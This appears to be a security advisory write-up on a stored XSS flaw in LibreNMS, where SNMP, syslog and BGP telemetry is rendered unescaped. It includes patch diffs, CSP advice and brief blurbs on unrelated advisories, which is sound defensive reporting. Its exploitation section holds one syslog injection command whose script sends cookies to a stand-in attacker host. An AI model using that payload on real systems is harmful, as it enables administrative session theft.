Aug 26, 2026·6 min read·19 visits
Insecure rendering of ingested network telemetry (SNMP, Syslog, BGP attributes) in legacy PHP view templates of LibreNMS allows the injection of persistent malicious scripts, leading to administrative session compromise.
A Stored Cross-Site Scripting (XSS) vulnerability exists within the legacy presentation templates of the LibreNMS network monitoring system. Due to inadequate context-aware output encoding of operational data ingested via Simple Network Management Protocol (SNMP) polling, Border Gateway Protocol (BGP) notifications, and incoming Syslog messages, an administrative user viewing device dashboards can be targeted with arbitrary JavaScript execution.
LibreNMS is an open-source, autodiscovering PHP-based network monitoring system that utilizes SNMP to query operational metrics from routers, switches, servers, and other network appliances. To present these metrics to administrators, LibreNMS relies on a hybrid UI architecture consisting of modern Laravel Blade views alongside legacy procedural PHP templates. Legacy view files located inside the includes/html/ directory directly render data stored in the application database.
Because network monitoring platforms are designed to collect, process, and display state information from potentially untrusted or compromised endpoints, the data ingest pipeline represents a significant attack surface. Key variables collected from monitored devices include sensor descriptions, memory pool identifiers, interface names, BGP AS descriptions, and Syslog log contents. When these elements are retrieved from the database, the legacy presentation layer fails to sanitize or encode output values.
This lack of sanitization leads to a Stored Cross-Site Scripting (Stored XSS) vulnerability. Any actor capable of altering the SNMP metadata on a monitored device, spoofing Syslog network packets, or establishing BGP pairings with custom descriptors can inject persistent malicious payloads. When an administrator navigates to the associated health, routing, or event logging interface, the browser parses and executes the payload, leading to potential administrative session takeover.
The root cause of GHSA-7W8C-QGXG-M7JX resides in the direct, unescaped interpolation of database-derived strings into the Document Object Model (DOM) within legacy procedural PHP files. While modern Laravel Blade files use standard brackets {{ $var }} to enforce HTML escaping, legacy procedural views use raw PHP output structures, including string concatenation and direct echo statements.
The application database acts as a storage medium for network telemetry collected by backend pollers. Because the database accepts and stores raw strings received via SNMP or UDP Syslog listeners, the responsibility of preventing injection attacks falls entirely on the rendering layer. In legacy files like includes/html/print-syslog.inc.php or includes/html/pages/device/health/sensors.inc.php, variables like $entry['program'] or $sensor['sensor_descr'] are written straight to HTML strings without processing.
An attacker can populate these fields with payload patterns containing HTML markup and JavaScript. Because the application processes these strings as trusted output, the client browser interprets the injected tags as layout elements and active scripts rather than plain-text strings. The vulnerability requires no application-level authentication for vectors leveraging public-facing Syslog daemons or unauthenticated SNMP poll responses.
A detailed review of the security fix applied in commit 6782af940c3c495755923b520a302f3a1cb1ce6b illustrates the transition from unsafe procedural echoes to secure output escaping. The core defensive change is the systemic application of the e() helper function, which acts as a wrapper for PHP's native htmlspecialchars function with ENT_QUOTES configured.
// BEFORE (Vulnerable implementation in includes/html/print-syslog.inc.php)
$syslog_output .= '<td><i>' . $entry['date'] . '</i> <strong>' . $entry['program'] . '</strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';
// AFTER (Patched implementation)
$syslog_output .= '<td><i>' . e($entry['date']) . '</i> <strong>' . e($entry['program']) . '</strong> ' . e($entry['msg']) . '</td>';In the vulnerable snippet, only the message field $entry['msg'] was escaped, leaving both $entry['date'] and $entry['program'] completely vulnerable. An attacker sending a spoofed Syslog packet could populate the Syslog program header with a script payload, bypassing the message-level escaping.
// BEFORE (Vulnerable template in resources/views/map/custom-list.blade.php)
<a href="{{ route('maps.custom.show', $map->custom_map_id) }}">{!! $map->name !!}</a>
// AFTER (Patched template)
<a href="{{ route('maps.custom.show', $map->custom_map_id) }}">{{ $map->name }}</a>In the Blade template files, developers replaced unescaped {!! ... !!} blade echo statements (which print raw HTML) with secure {{ ... }} auto-escaping syntax to ensure map names are sanitized before rendering.
An attacker can exploit this vulnerability using various network protocols, depending on the active pollers and services configured within LibreNMS.
In a Syslog injection scenario, the attacker identifies a LibreNMS instance accepting remote Syslog logs over UDP port 514. The attacker issues a malformed syslog packet with the program field set to an executable JavaScript payload:
logger -n <LibreNMS_IP> -P 514 -t "<script>fetch('http://attacker.local/exfil?cookie=' + document.cookie)</script>" "System normal"
When the system-wide logging dashboard is opened by an administrator, the browser processes the injected <script> tag. The script executes within the security context of the administrative user, enabling the exfiltration of session cookies or the silent execution of administrative actions through forged API requests.
A detailed cryptographic and technical review of the remediation patch reveals potential areas of residual risk involving nested execution contexts. In includes/html/pages/device/health/storage.inc.php, the developer applied the escaping helper directly within JavaScript event attributes:
$storage_descr = e($drive['storage_descr']);
$fs_popup = "onmouseover=\"return overlib('<div class=list-large>" . $device['hostname'] . ' - ' . $storage_descr;This construction places the HTML-escaped string $storage_descr into a JavaScript function argument (overlib('...')) that is nested inside an inline HTML attribute (onmouseover="..."). This structure creates a multi-layered parsing context.
When the browser parses the HTML document, it decodes HTML entities inside the onmouseover attribute value prior to executing the JavaScript payload. If the storage description contains an escaped quote like ', the browser translates it back into a raw single quote ' in memory. This raw quote can prematurely terminate the string literal argument of the overlib call, leading to syntax errors or script breakout.
To remediate nested context issues, developers must apply strict context-aware encoding. Variables intended for use inside client-side scripts or inline event handlers should be serialized to JSON using json_encode() or loaded from data-attributes to isolate them from parsing boundary issues.
To resolve GHSA-7W8C-QGXG-M7JX, administrators must update LibreNMS to a patched version, such as 26.5.0 or 26.8.1. These versions incorporate systemic template updates that enforce escaping of incoming telemetry fields.
If manual patching is required because of network isolation or legacy infrastructure locks, administrators should implement the e() helper across all affected views in includes/html/. Special focus should be placed on high-exposure templates such as print-syslog.inc.php, eventlog.inc.php, and routing configuration displays.
# Recommended Nginx Content Security Policy (CSP) header
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random123' 'strict-dynamic'; object-src 'none';";To increase resilience against similar stored XSS vulnerabilities, implement a strict Content Security Policy (CSP). Restricting script execution to specified cryptographically secure nonces or preventing inline script blocks altogether stops injected XSS scripts from executing, even if the application's presentation layer fails to sanitize database outputs.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
LibreNMS LibreNMS | < 26.5.0 | 26.5.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (Adjacent/Remote via SNMP/Syslog) |
| CVSS v3.1 Score | 8.0 |
| EPSS Score | N/A |
| Impact | Stored Cross-Site Scripting (XSS) |
| Exploit Status | Proof-of-Concept Verification |
| KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Nuxt versions prior to 4.6.2 suffer from a route rule bypass vulnerability caused by an architectural mismatch in case-sensitivity handling between the Nitro server runtime and the Vue page router. An unauthenticated remote attacker can bypass server-enforced route directives—such as redirects, security headers, and SSR controls—by altering character casing in HTTP request paths.
A heap-based buffer overflow vulnerability in Pillow PyPI binary wheels (versions 11.1.0 to 12.x) allows remote code execution or application crash via crafted JPEG 2000 files processed by the bundled libopenjp2 library.
CVE-2026-109618 (dubbed PHP2Shell) is a critical vulnerability in the PHP engine core resulting from improper out-of-memory exception handling via longjmp(). When request allocation fails mid-processing, non-local control flow bypasses cleanup procedures, leaving memory structures uninitialized or in a use-after-free state during request shutdown.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.